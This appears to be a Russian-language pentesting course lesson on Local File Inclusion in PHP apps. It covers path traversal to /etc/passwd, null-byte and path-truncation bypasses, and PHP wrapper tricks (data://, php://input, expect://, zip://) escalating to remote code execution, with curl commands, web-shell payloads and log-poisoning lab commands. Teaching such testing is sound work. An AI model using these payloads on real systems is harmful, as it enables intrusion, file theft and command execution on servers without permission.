



АКАДЕМИЯ
КОДЕБАЙ

ПРОФЕССИЯ ПЕНТЕСТЕР

Друзья, всех приветствую!

Тема сегодняшнего урока **LFI (Local File Inclusion)** - уязвимость включения файлов позволяет злоумышленнику “включить” файл, используя механизмы «динамического включения файла», реализованные в целевом приложении.

LFI возникает, когда приложение позволяет включать файлы на сервере с недостаточной проверкой пользовательского ввода. Злоумышленник может воспользоваться этим, чтобы загрузить чувствительные файлы, например, конфигурационные файлы или лог-файлы, а иногда даже инициировать выполнение команд. Среди прочего это уязвимость может привести к:

- выполнению кода на веб-сервере.
- выполнению кода на стороне клиента, например, JavaScript, что может привести к другим атакам, таким как межсайтовый скриптинг (XSS).
- отказу в обслуживании (DoS).
- раскрытию конфиденциальной информации.

Локальное включение файлов (также известное как LFI, Local File Inclusion) — это процесс включения файлов, которые уже локально присутствуют на сервере, посредством эксплуатации уязвимых процедур включения, реализованных в приложении. Эта уязвимость возникает, например, когда страница получает в качестве входных данных путь к файлу, и эти входные данные не обработаны, не очищены должным образом, что позволяет внедрять символы для обхода каталога (например, “../”). Хотя в большинстве случаев в качестве примеров используются уязвимые PHP-скрипты, мы должны иметь в виду, что это также распространено в других технологиях, таких как JSP, ASP и т.д.

При тестировании методом “черного ящика” следует искать скрипты, которые принимают имена файлов в качестве параметров.

Рассмотрим следующий пример:

<http://vuln.ru/preview.php?file=example.html>

Это выглядит как идеальное место для попытки LFI. Во время теста мы могли бы попытаться включить локальные файлы на сервере, используя параметр file в URL. Например, мы могли бы попытаться извлечь конфиденциальные файлы, такие как /etc/passwd или файлы конфигурации, содержащие чувствительную информацию.



Типичным подтверждением концепции (PoC) может быть выгрузка файла passwd:

```
http://vuln.ru/preview.php?file=../../../../../etc/passwd
```

Если вышеуказанные условия выполнены, мы могли бы увидеть что-то вроде следующего:

```
Response
Pretty Raw Render \n Actions
1 HTTP/1.1 200 OK
2 Date: Tue, 05 Oct 2021 14:51:37 GMT
3 Server: Apache/2.4.49 (Unix) OpenSSL/1.0.2k-fips
4 Last-Modified: Fri, 18 Jun 2021 09:31:30 GMT
5 ETag: "820-5c506fd229535"
6 Accept-Ranges: bytes
7 Content-Length: 2080
8 Vary: User-Agent
9 Connection: close
10
11 root:x:0:0:root:/root:/bin/bash
12 bin:x:1:1:bin:/bin:/sbin/nologin
13 daemon:x:2:2:daemon:/sbin:/sbin/nologin
14 adm:x:3:4:adm:/var/adm:/sbin/nologin
15 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
16 sync:x:5:0:sync:/sbin:/bin/sync
17 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
18 halt:x:7:0:halt:/sbin:/sbin/halt
19 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
20 operator:x:11:0:operator:/root:/sbin/nologin
21 games:x:12:100:games:/usr/games:/sbin/nologin
22 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
23 nobody:x:99:99:Nobody:/:/sbin/nologin
24 avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
25 dbus:x:81:81:System message bus:/:/sbin/nologin
26 polkitd:x:999:998:User for polkitd:/:/sbin/nologin
27 tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
28 postfix:x:89:89:/:/var/spool/postfix:/sbin/nologin
29 sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin
30 systemd-bus-proxy:x:998:996:systemd Bus Proxy:/:/sbin/nologin
31 systemd-network:x:997:995:systemd Network Management:/:/sbin/nologin
32 unbound:x:996:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
33 mysql:x:995:993:MySQL server:/var/lib/mysql:/sbin/nologin
34 saslauthd:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
35 dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
```

Даже если такая уязвимость существует, ее эксплуатация может быть более сложной в реальных сценариях. Рассмотрим следующий фрагмент кода:

```
<?php include($_GET['file'].".php"); ?>
```

Простая замена случайным именем файла не сработает, так как расширение “.php” добавляется к вводу. Чтобы обойти это ограничение, мы можем использовать несколько разных техник.

Инъекция нулевого байта

Null byte — это управляющий символ со значением ноль, присутствующий во многих наборах символов. Этот символ используется как зарезервированный символ для обозначения конца строки. После использования любой символ после этого специального байта будет игнорироваться. Возможность эксплуатации подобной уязвимости зависит от конкретной реализации и принципов обработки входных данных конкретным веб-приложением.

Например, в языке C строки представляются как массивы символов, которые завершаются нулевым байтом (`\0`). Этот нулевой байт служит маркером конца строки. Когда функция или метод обрабатывает строку, она продолжает читать символы до тех пор, пока не встретит этот нулевой байт. После обнаружения нулевого байта, функция считает, что строка закончилась, и все символы, следующие за ним, игнорируются.

При тестировании Web-приложений нулевой байт обычно внедряется с помощью URL-кодированной строки `%00`, путем добавления ее к пути.

В нашем предыдущем примере при выполнении запроса `http://vuln.ru/preview.php?file=../../../../etc/passwd%00` расширение `“.php”` будет проигнорировано. При этом пентестеру вернется список основных пользователей в результате успешной эксплуатации. **Усечение пути**

Большинство настроек PHP имеют ограничение на длину имени файла в 4096 байт. Если переданное имя превышает такую длину, PHP просто обрезает его, отбрасывая все дополнительные символы. Злоупотребление этим поведением позволяет заставить движок PHP игнорировать расширение `“.php”`, перемещая его за пределы ограничения в 4096 байт. Когда это происходит, никакой ошибки не возникает, дополнительные символы просто отбрасываются, и PHP продолжает выполнение в обычном режиме.

Этот обход обычно сочетается с другими техниками обхода логики, такими как кодирование части пути к файлу с помощью кодировки Unicode, использование двойного кодирования или любые другие входные данные, которые по-прежнему будут представлять собой допустимое имя файла.

PHP-обертки (PHP wrappers)

Уязвимости LFI обычно рассматриваются как уязвимости “только для чтения”, которые злоумышленник может использовать для чтения конфиденциальных данных с сервера, на котором размещено уязвимое приложение. Однако в некоторых конкретных реализациях эта уязвимость может использоваться для “апгрейда” атаки с LFI до уязвимостей удаленного выполнения кода (Remote Code Execution, RCE), которые потенциально могут полностью скомпрометировать хост.

Этот случай встречается тогда, когда злоумышленник может объединить уязвимость LFI с определенными [PHP-обертками](#).

Обертка — это код, который служит для выполнения некоторой дополнительной функциональности. PHP реализует множество встроенных оберток для работы с файловой системой. Как только их использование обнаружено в процессе тестирования приложения, хорошей практикой будет попытаться злоупотребить этим, чтобы определить реальный риск обнаруженной уязвимости. Давайте рассмотрим несколько наиболее часто используемых оберток:

- **data://**

Пример:

1. Кодировем полезную нагрузку в Base64:

```
echo "<?php system($_GET['cmd']); ?>" | base64
```

2. Выполняем команду “id” на целевом сервере:

```
curl --user-agent "PENTEST"  
"http://vuln.ru/?parameter=data://text/plain;base64,<ПОЛЕЗНАЯ  
НАГРУЗКА В BASE64>&cmd=id"
```

Данная атака возможна в случае, если директива `allow_url_include` включена (`allow_url_include = On`) в файле `php.ini`.

- **php://input**

Пример:

Отправляем POST-запрос с полезной нагрузкой "<?php system('id'); ?>":

```
curl --user-agent "PENTEST" -s -X POST --data "<?php system('id'); ?>"  
"http://vuln.ru?parameter=php://input"
```

Данная атака возможна в случае, если директива `allow_url_include` включена (`allow_url_include = On`) в файле `php.ini`.

- **expect://**

Пример:

Выполняем команду "id" на целевом сервере:

```
curl --user-agent "PENTEST" -s "http://vuln.ru/?parameter=expect://id"
```

Для обертки `expect://` не требуется обязательное включение директивы `allow_url_include` в статус "On".

- **zip://**

Пример:

1. Помещаем полезную нагрузку в `payload.php`:

```
echo "<?php system($_GET['cmd']); ?>" > payload.php
```

2. Архивируем:

```
zip payload.zip payload.php
```

3. Выполняем команду "id" на целевом сервере:

```
curl --user-agent "PENTEST"  
"http://vuln.ru/?parameter=zip://payload.zip%23payload.php&cmd=id"
```

Необходимым условием для этой атаки является возможность загрузки файла.

Файлы для скачивания:

[index.php](#)

Команды, используемые в уроке:

```
kali@kali:~$ nc -nv 192.168.0.174 80
```

```
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
```

```
http://192.168.0.174/index.php?file=c:\xampp\apache\logs\access.log&cmd=ipco  
nfig
```